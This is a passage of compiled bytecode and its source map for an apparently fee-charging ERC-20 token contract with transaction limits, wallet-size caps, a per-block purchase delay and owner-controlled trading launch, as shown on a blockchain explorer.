01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108029030906107f46009600a61182a565b6105f590633b9aca00611838565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610852573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610876919061184f565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f9919061184f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610943573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610967919061184f565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bd565b6001600160a01b038216610a4c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bd565b6001600160a01b038216610b735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bd565b5f8111610bd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103bd565b601454600160b01b900460ff161580610bf65750601454600160a81b900460ff165b15610c8b576001600160a01b0383165f90815260016020526040902054610c1d90826110a0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c4b90826110e8565b6001600160a01b038084165f8181526001602052604090819020939093559151908516905f8051602061197583398151915290610aa09085815260200190565b5f80546001600160a01b03858116911614801590610cb657505f546001600160a01b03848116911614155b1561103057610ce76064610ce1600f5460125411610cd657600b54610cda565b600d545b8590611146565b906111c4565b60055490915060ff1615610dcd576013546001600160a01b03848116911614801590610d2157506014546001600160a01b03848116911614155b15610dcd57325f908152600460205260409020544311610dbb5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016103bd565b325f9081526004602052604090204390555b6014546001600160a01b038581169116148015610df857506013546001600160a01b03848116911614155b8015610e1c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0257600654821115610e735760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103bd565b60085482610e95856001600160a01b03165f9081526001602052604090205490565b610e9f919061186a565b1115610eed5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103bd565b60128054905f610efc8361187d565b91905055505b6014546001600160a01b038481169116148015610f2857506001600160a01b0384163014155b15610f5557610f526064610ce160105460125411610f4857600c54610cda565b600e548590611146565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610f8b57506014546001600160a01b038581169116145b8015610fa05750601454600160b01b900460ff165b8015610faf5750601154601254115b8015610fd357506001600160a01b0385165f9081526003602052604090205460ff16155b8015610ff757506001600160a01b0384165f9081526003602052604090205460ff16155b1561102e5760095481106110225761102261101d8461101884600a54611205565b611205565b611219565b4761102c47611389565b505b505b6001600160a01b0384165f9081526003602052604081205460ff1615611054575060015b61106185858584866113c8565b5050505050565b5f818484111561108b5760405162461bcd60e51b81526004016103bd919061159a565b505f6110978486611895565b95945050505050565b5f6110e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611068565b9392505050565b5f806110f4838561186a565b9050838110156110e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103bd565b5f825f0361115557505f610577565b5f6111608385611838565b90508261116d85836118a8565b146110e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103bd565b5f6110e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611485565b5f81831161121357826110e1565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061125f5761125f6118c7565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112da919061184f565b816001815181106112ed576112ed6118c7565b6001600160a01b0392831660209182029290920101526013546113139130911684610989565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061134b9085905f908690309042906004016118db565b5f604051808303815f87803b158015611362575f80fd5b505af1158015611374573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156113c4573d5f803e3d5ffd5b5050565b84836113d782808386886114b1565b6113e18382611895565b6001600160a01b0388165f9081526001602052604090205490915061140690866110a0565b6001600160a01b038089165f90815260016020526040808220939093559088168152205461143490826110e8565b6001600160a01b038088165f8181526001602052604090819020939093559151908916905f80516020611975833981519152906114749085815260200190565b60405180910390a350505050505050565b5f81836114a55760405162461bcd60e51b81526004016103bd919061159a565b505f61109784866118a8565b801561152f576114e26114c4848461186a565b6001600160a01b0386165f90815260016020526040902054906110e8565b6001600160a01b038086165f8181526001602052604090819020939093559151908716905f80516020611975833981519152906115229087815260200190565b60405180910390a3611061565b811561106157305f9081526001602052604090205461154e90836110e8565b305f81815260016020526040908190209290925590516001600160a01b038716905f805160206119758339815191529061158b9086815260200190565b60405180910390a35050505050565b5f602080835283518060208501525f5b818110156115c6578581018301518582016040015282016115aa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115fa575f80fd5b50565b5f806040838503121561160e575f80fd5b8235611619816115e6565b946020939093013593505050565b5f805f60608486031215611639575f80fd5b8335611644816115e6565b92506020840135611654816115e6565b929592945050506040919091013590565b5f60208284031215611675575f80fd5b81356110e1816115e6565b5f8060408385031215611691575f80fd5b823561169c816115e6565b915060208301356116ac816115e6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156116fe575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611727575f80fd5b815180151581146110e1575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561178457815f190482111561176a5761176a611736565b8085161561177757918102915b93841c939080029061174f565b509250929050565b5f8261179a57506001610577565b816117a657505f610577565b81600181146117bc57600281146117c6576117e2565b6001915050610577565b60ff8411156117d7576117d7611736565b50506001821b610577565b5060208310610133831016604e8410600b8410161715611805575081810a610577565b61180f838361174a565b805f190482111561182257611822611736565b029392505050565b5f6110e160ff84168361178c565b808202811582820484141761057757610577611736565b5f6020828403121561185f575f80fd5b81516110e1816115e6565b8082018082111561057757610577611736565b5f6001820161188e5761188e611736565b5060010190565b8181038181111561057757610577611736565b5f826118c257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561192b5784516001600160a01b031683529383019391830191600101611906565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220905c4bd538d18d4b7fc2ad3709d2d76b3ee3ef270f97733a030a1b23389aa47464736f6c63430008160033
Deployed Bytecode Sourcemap
4007:10055:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6474:472;;;;;;;;;;;;;:::i;:::-;;6991:83;;;;;;;;;;-1:-1:-1;7061:5:0;;;;;;;;;;;;-1:-1:-1;;;7061:5:0;;;;6991:83;;;;;;;:::i;:::-;;;;;;;;7874:186;;;;;;;;;;-1:-1:-1;7874:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7874:186:0;1023:187:1;4922:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4922:55:0;1215:177:1;7268:95:0;;;;;;;;;;;;;:::i;8068:446::-;;;;;;;;;;-1:-1:-1;8068:446:0;;;;;:::i;:::-;;:::i;7177:83::-;;;;;;;;;;-1:-1:-1;7177:83:0;;4475:1;2000:36:1;;1988:2;1973:18;7177:83:0;1858:184:1;7371:119:0;;;;;;;;;;-1:-1:-1;7371:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7464:18:0;7437:7;7464:18;;;:9;:18;;;;;;;7371:119;3852:148;;;;;;;;;;;;;:::i;8865:201::-;;;;;;;;;;;;;:::i;4664:56::-;;;;;;;;;;;;;;;;3638:79;;;;;;;;;;-1:-1:-1;3676:7:0;3703:6;3638:79;;-1:-1:-1;;;;;3703:6:0;;;2445:51:1;;2433:2;2418:18;3638:79:0;2299:203:1;4794:58:0;;;;;;;;;;;;;;;;7082:87;;;;;;;;;;-1:-1:-1;7154:7:0;;;;;;;;;;;;-1:-1:-1;;;7154:7:0;;;;7082:87;;7498:192;;;;;;;;;;-1:-1:-1;7498:192:0;;;;;:::i;:::-;;:::i;4859:56::-;;;;;;;;;;;;;;;;4350:40;;;;;;;;;;-1:-1:-1;4350:40:0;;;;;;;;7698:168;;;;;;;;;;-1:-1:-1;7698:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7831:18:0;;;7804:7;7831:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7698:168;6016:450;;;;;;;;;;;;;:::i;6474:472::-;3765:6;;-1:-1:-1;;;;;3765:6:0;451:10;3765:22;3757:67;;;;-1:-1:-1;;;3757:67:0;;;;;;;:::i;:::-;;;;;;;;;6531:11:::1;::::0;-1:-1:-1;;;6531:11:0;::::1;;;6530:12;6522:48;;;::::0;-1:-1:-1;;;6522:48:0;;3463:2:1;6522:48:0::1;::::0;::::1;3445:21:1::0;3502:2;3482:18;;;3475:30;-1:-1:-1;;;3521:18:1;;;3514:53;3584:18;;6522:48:0::1;3261:347:1::0;6522:48:0::1;6583:15;::::0;6687:14:::1;::::0;-1:-1:-1;;;;;6583:15:0;;::::1;::::0;:31:::1;::::0;6622:21:::1;::::0;6667:4:::1;::::0;6583:15:::1;::::0;6748:7:::1;3676::::0;3703:6;-1:-1:-1;;;;;3703:6:0;;3638:79;6748:7:::1;6583:213;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6583:213:0;;;-1:-1:-1;;;;;3972:15:1;;;6583:213:0::1;::::0;::::1;3954:34:1::0;4004:18;;;3997:34;;;;4047:18;;;4040:34;;;;4090:18;;;4083:34;4154:15;;;4133:19;;;4126:44;6770:15:0::1;4186:19:1::0;;;4179:35;3888:19;;6583:213:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6816:13:0::1;::::0;6847:15:::1;::::0;6809:71:::1;::::0;-1:-1:-1;;;6809:71:0;;-1:-1:-1;;;;;6847:15:0;;::::1;6809:71;::::0;::::1;4710:51:1::0;-1:-1:-1;;4777:18:1;;;4770:34;6816:13:0;::::1;::::0;-1:-1:-1;6809:29:0::1;::::0;4683:18:1;;6809:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6891:11:0::1;:18:::0;;-1:-1:-1;;;;6920:18:0;-1:-1:-1;;;6920:18:0;;;6474:472::o;7874:186::-;7974:4;7991:39;451:10;8014:7;8023:6;7991:8;:39::i;:::-;-1:-1:-1;8048:4:0;7874:186;;;;;:::o;7268:95::-;7321:7;4531:15;4475:1;4531:2;:15;:::i;:::-;4518:28;;:10;:28;:::i;:::-;7341:14;;7268:95;:::o;8068:446::-;8200:4;8217:36;8227:6;8235:9;8246:6;8217:9;:36::i;:::-;8264:220;8287:6;451:10;8335:138;8391:6;8335:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8335:19:0;;;;;;:11;:19;;;;;;;;451:10;8335:33;;;;;;;;;;:37;:138::i;:::-;8264:8;:220::i;:::-;-1:-1:-1;8502:4:0;8068:446;;;;;:::o;3852:148::-;3765:6;;-1:-1:-1;;;;;3765:6:0;451:10;3765:22;3757:67;;;;-1:-1:-1;;;3757:67:0;;;;;;;:::i;:::-;3959:1:::1;3943:6:::0;;3922:40:::1;::::0;-1:-1:-1;;;;;3943:6:0;;::::1;::::0;3922:40:::1;::::0;3959:1;;3922:40:::1;3990:1;3973:19:::0;;-1:-1:-1;;;;;;3973:19:0::1;::::0;;3852:148::o;8865:201::-;3765:6;;-1:-1:-1;;;;;3765:6:0;451:10;3765:22;3757:67;;;;-1:-1:-1;;;3757:67:0;;;;;;;:::i;:::-;4531:15:::1;4475:1;4531:2;:15;:::i;:::-;4518:28;::::0;:10:::1;:28;:::i;:::-;8919:12;:22:::0;4531:15:::1;4475:1;4531:2;:15;:::i;:::-;4518:28;::::0;:10:::1;:28;:::i;:::-;8952:14;:24:::0;8987:20:::1;:28:::0;;-1:-1:-1;;8987:28:0::1;::::0;;9031:27:::1;4531:15;4475:1;4531:2;:15;:::i;:::-;4518:28;::::0;:10:::1;:28;:::i;:::-;9031:27;::::0;1361:25:1;;;1349:2;1334:18;9031:27:0::1;;;;;;;8865:201::o:0;7498:192::-;7601:4;7618:42;451:10;7642:9;7653:6;7618:9;:42::i;6016:450::-;3765:6;;-1:-1:-1;;;;;3765:6:0;451:10;3765:22;3757:67;;;;-1:-1:-1;;;3757:67:0;;;;;;;:::i;:::-;6071:11:::1;::::0;-1:-1:-1;;;6071:11:0;::::1;;;6070:12;6062:48;;;::::0;-1:-1:-1;;;6062:48:0;;3463:2:1;6062:48:0::1;::::0;::::1;3445:21:1::0;3502:2;3482:18;;;3475:30;-1:-1:-1;;;3521:18:1;;;3514:53;3584:18;;6062:48:0::1;3261:347:1::0;6062:48:0::1;6123:15;:104:::0;;-1:-1:-1;;;;;;6123:104:0::1;6174:42;6123:104:::0;;::::1;::::0;;;6240:58:::1;::::0;6257:4:::1;::::0;4531:15:::1;4475:1;4531:2;:15;:::i;:::-;4518:28;::::0;:10:::1;:28;:::i;6240:58::-;6345:15;;;;;;;;;-1:-1:-1::0;;;;;6345:15:0::1;-1:-1:-1::0;;;;;6345:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6327:55:0::1;;6405:4;6425:15;;;;;;;;;-1:-1:-1::0;;;;;6425:15:0::1;-1:-1:-1::0;;;;;6425:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6327:131;::::0;-1:-1:-1;;;;;;6327:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7265:15:1;;;6327:131:0::1;::::0;::::1;7247:34:1::0;7317:15;;7297:18;;;7290:43;7182:18;;6327:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6311:13;:147:::0;;-1:-1:-1;;;;;;6311:147:0::1;-1:-1:-1::0;;;;;6311:147:0;;;::::1;::::0;;;::::1;::::0;;6016:450::o;8522:335::-;-1:-1:-1;;;;;8615:19:0;;8607:68;;;;-1:-1:-1;;;8607:68:0;;7546:2:1;8607:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;8607:68:0;7344:400:1;8607:68:0;-1:-1:-1;;;;;8694:21:0;;8686:68;;;;-1:-1:-1;;;8686:68:0;;7951:2:1;8686:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;8686:68:0;7749:398:1;8686:68:0;-1:-1:-1;;;;;8765:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8817:32;;1361:25:1;;;8817:32:0;;1334:18:1;8817:32:0;;;;;;;;8522:335;;;:::o;9174:3184::-;-1:-1:-1;;;;;9262:18:0;;9254:68;;;;-1:-1:-1;;;9254:68:0;;8354:2:1;9254:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;9254:68:0;8152:401:1;9254:68:0;-1:-1:-1;;;;;9341:16:0;;9333:64;;;;-1:-1:-1;;;9333:64:0;;8760:2:1;9333:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;9333:64:0;8558:399:1;9333:64:0;9425:1;9416:6;:10;9408:64;;;;-1:-1:-1;;;9408:64:0;;9164:2:1;9408:64:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;9408:64:0;8962:405:1;9408:64:0;9488:11;;-1:-1:-1;;;9488:11:0;;;;9487:12;;:22;;-1:-1:-1;9503:6:0;;-1:-1:-1;;;9503:6:0;;;;9487:22;9483:223;;;-1:-1:-1;;;;;9544:15:0;;;;;;:9;:15;;;;;;:27;;9564:6;9544:19;:27::i;:::-;-1:-1:-1;;;;;9526:15:0;;;;;;;:9;:15;;;;;;:45;;;;9602:13;;;;;;;:25;;9620:6;9602:17;:25::i;:::-;-1:-1:-1;;;;;9586:13:0;;;;;;;:9;:13;;;;;;;:41;;;;9647:26;;;;;;-1:-1:-1;;;;;;;;;;;9647:26:0;;;9666:6;1361:25:1;;1349:2;1334:18;;1215:177;9483:223:0;9716:17;3703:6;;-1:-1:-1;;;;;9752:15:0;;;3703:6;;9752:15;;;;:32;;-1:-1:-1;3676:7:0;3703:6;-1:-1:-1;;;;;9771:13:0;;;3703:6;;9771:13;;9752:32;9748:2424;;;9813:208;10017:3;9813:181;9877:15;;9865:9;;:27;9864:111;;9961:14;;9864:111;;;9921:12;;9864:111;9813:6;;:28;:181::i;:::-;:203;;:208::i;:::-;10042:20;;9801:220;;-1:-1:-1;10042:20:0;;10038:522;;;10123:15;;-1:-1:-1;;;;;10109:30:0;;;10123:15;;10109:30;;;;:83;;-1:-1:-1;10178:13:0;;-1:-1:-1;;;;;10164:28:0;;;10178:13;;10164:28;;10109:83;10083:462;;;10298:9;10269:39;;;;:28;:39;;;;;;10311:12;-1:-1:-1;10235:213:0;;;;-1:-1:-1;;;10235:213:0;;9574:2:1;10235:213:0;;;9556:21:1;9613:2;9593:18;;;9586:30;9652:34;9632:18;;;9625:62;9723:34;9703:18;;;9696:62;-1:-1:-1;;;9774:19:1;;;9767:40;9824:19;;10235:213:0;9372:477:1;10235:213:0;10500:9;10471:39;;;;:28;:39;;;;;10513:12;10471:54;;10083:462;10606:13;;-1:-1:-1;;;;;10598:21:0;;;10606:13;;10598:21;:72;;;;-1:-1:-1;10654:15:0;;-1:-1:-1;;;;;10640:30:0;;;10654:15;;10640:30;;10598:72;:117;;;;-1:-1:-1;;;;;;10692:23:0;;;;;;:19;:23;;;;;;;;10691:24;10598:117;10576:439;;;10768:12;;10758:6;:22;;10750:60;;;;-1:-1:-1;;;10750:60:0;;10056:2:1;10750:60:0;;;10038:21:1;10095:2;10075:18;;;10068:30;10134:27;10114:18;;;10107:55;10179:18;;10750:60:0;9854:349:1;10750:60:0;10885:14;;10875:6;10859:13;10869:2;-1:-1:-1;;;;;7464:18:0;7437:7;7464:18;;;:9;:18;;;;;;;7371:119;10859:13;:22;;;;:::i;:::-;:40;;10829:140;;;;-1:-1:-1;;;10829:140:0;;10540:2:1;10829:140:0;;;10522:21:1;10579:2;10559:18;;;10552:30;10618:28;10598:18;;;10591:56;10664:18;;10829:140:0;10338:350:1;10829:140:0;10988:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10576:439;11041:13;;-1:-1:-1;;;;;11035:19:0;;;11041:13;;11035:19;:44;;;;-1:-1:-1;;;;;;11058:21:0;;11074:4;11058:21;;11035:44;11031:332;;;11112:235;11343:3;11112:204;11184:16;;11172:9;;:28;11171:122;;11278:15;;11171:122;;;11233:13;;11112:6;;:32;:204::i;:235::-;11100:247;;11031:332;11428:4;11379:28;7464:18;;;:9;:18;;;;;;11472:6;;-1:-1:-1;;;11472:6:0;;;;11471:7;:47;;;;-1:-1:-1;11505:13:0;;-1:-1:-1;;;;;11499:19:0;;;11505:13;;11499:19;11471:47;:79;;;;-1:-1:-1;11539:11:0;;-1:-1:-1;;;11539:11:0;;;;11471:79;:130;;;;;11583:18;;11571:9;;:30;11471:130;:177;;;;-1:-1:-1;;;;;;11623:25:0;;;;;;:19;:25;;;;;;;;11622:26;11471:177;:222;;;;-1:-1:-1;;;;;;11670:23:0;;;;;;:19;:23;;;;;;;;11669:24;11471:222;11449:712;;;11755:17;;11731:20;:41;11728:206;;11797:117;11840:51;11844:6;11852:38;11856:20;11878:11;;11852:3;:38::i;:::-;11840:3;:51::i;:::-;11797:16;:117::i;:::-;11999:21;12091:35;12104:21;12091:12;:35::i;:::-;11709:452;11449:712;9786:2386;9748:2424;-1:-1:-1;;;;;12219:25:0;;12184:16;12219:25;;;:19;:25;;;;;;;;12215:70;;;-1:-1:-1;12272:1:0;12215:70;12297:53;12312:4;12318:2;12322:6;12330:8;12340:9;12297:14;:53::i;:::-;9243:3115;;9174:3184;;;:::o;2440:224::-;2560:7;2596:12;2588:6;;;;2580:29;;;;-1:-1:-1;;;2580:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2620:9:0;2632:5;2636:1;2632;:5;:::i;:::-;2620:17;2440:224;-1:-1:-1;;;;;2440:224:0:o;2296:136::-;2354:7;2381:43;2385:1;2388;2381:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2374:50;2296:136;-1:-1:-1;;;2296:136:0:o;2109:179::-;2167:7;;2199:5;2203:1;2199;:5;:::i;:::-;2187:17;;2228:1;2223;:6;;2215:46;;;;-1:-1:-1;;;2215:46:0;;11168:2:1;2215:46:0;;;11150:21:1;11207:2;11187:18;;;11180:30;11246:29;11226:18;;;11219:57;11293:18;;2215:46:0;10966:351:1;2672:246:0;2730:7;2754:1;2759;2754:6;2750:47;;-1:-1:-1;2784:1:0;2777:8;;2750:47;2807:9;2819:5;2823:1;2819;:5;:::i;:::-;2807:17;-1:-1:-1;2852:1:0;2843:5;2847:1;2807:17;2843:5;:::i;:::-;:10;2835:56;;;;-1:-1:-1;;;2835:56:0;;11746:2:1;2835:56:0;;;11728:21:1;11785:2;11765:18;;;11758:30;11824:34;11804:18;;;11797:62;-1:-1:-1;;;11875:18:1;;;11868:31;11916:19;;2835:56:0;11544:397:1;2926:132:0;2984:7;3011:39;3015:1;3018;3011:39;;;;;;;;;;;;;;;;;:3;:39::i;13461:107::-;13518:7;13550:1;13546;:5;13545:15;;13559:1;13545:15;;;-1:-1:-1;13555:1:0;13461:107;-1:-1:-1;13461:107:0:o;13576:483::-;5595:6;:13;;-1:-1:-1;;;;5595:13:0;-1:-1:-1;;;5595:13:0;;;13678:16:::1;::::0;;13692:1:::1;13678:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13678:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13678:16:0::1;13654:40;;13723:4;13705;13710:1;13705:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13705:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13749:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13749:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13705:7;;13749:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13739:4;13744:1;13739:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13739:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13814:15:::1;::::0;13782:62:::1;::::0;13799:4:::1;::::0;13814:15:::1;13832:11:::0;13782:8:::1;:62::i;:::-;13855:15;::::0;:196:::1;::::0;-1:-1:-1;;;13855:196:0;;-1:-1:-1;;;;;13855:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13936:11;;13855:15:::1;::::0;13978:4;;14005::::1;::::0;14025:15:::1;::::0;13855:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5631:6:0;:14;;-1:-1:-1;;;;5631:14:0;;;-1:-1:-1;;;;13576:483:0:o;9074:92::-;9131:10;;:27;;:10;;;;-1:-1:-1;;;;;9131:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;9074:92;:::o;12366:499::-;12563:4;12596:6;12613:61;12563:4;;12596:6;12654:9;12665:8;12613:12;:61::i;:::-;12685:20;12696:9;12685:20;;:::i;:::-;-1:-1:-1;;;;;12734:15:0;;;;;;:9;:15;;;;;;12685:20;;-1:-1:-1;12734:27:0;;12754:6;12734:19;:27::i;:::-;-1:-1:-1;;;;;12716:15:0;;;;;;;:9;:15;;;;;;:45;;;;12788:13;;;;;;;:26;;12806:7;12788:17;:26::i;:::-;-1:-1:-1;;;;;12772:13:0;;;;;;;:9;:13;;;;;;;:42;;;;12830:27;;;;;;-1:-1:-1;;;;;;;;;;;12830:27:0;;;12849:7;1361:25:1;;1349:2;1334:18;;1215:177;12830:27:0;;;;;;;;12530:335;;12366:499;;;;;:::o;3066:223::-;3186:7;3221:12;3214:5;3206:28;;;;-1:-1:-1;;;3206:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3245:9:0;3257:5;3261:1;3257;:5;:::i;12873:580::-;13013:12;;13009:437;;13067:47;13094:19;13106:7;13094:9;:19;:::i;:::-;-1:-1:-1;;;;;13067:22:0;;;;;;:9;:22;;;;;;;:26;:47::i;:::-;-1:-1:-1;;;;;13042:22:0;;;;;;;:9;:22;;;;;;;:72;;;;13134:41;;;;;;-1:-1:-1;;;;;;;;;;;13134:41:0;;;13167:7;1361:25:1;;1349:2;1334:18;;1215:177;13134:41:0;;;;;;;;13009:437;;;13211:13;;13208:227;;13289:4;13271:24;;;;:9;:24;;;;;;:79;;13322:9;13271:28;:79::i;:::-;13262:4;13244:24;;;;:9;:24;;;;;;;:106;;;;13374:45;;-1:-1:-1;;;;;13374:45:0;;;-1:-1:-1;;;;;;;;;;;13374:45:0;;;13409:9;1361:25:1;;1349:2;1334:18;;1215:177;13374:45:0;;;;;;;;12873:580;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;4225:306::-;4313:6;4321;4329;4382:2;4370:9;4361:7;4357:23;4353:32;4350:52;;;4398:1;4395;4388:12;4350:52;4427:9;4421:16;4411:26;;4477:2;4466:9;4462:18;4456:25;4446:35;;4521:2;4510:9;4506:18;4500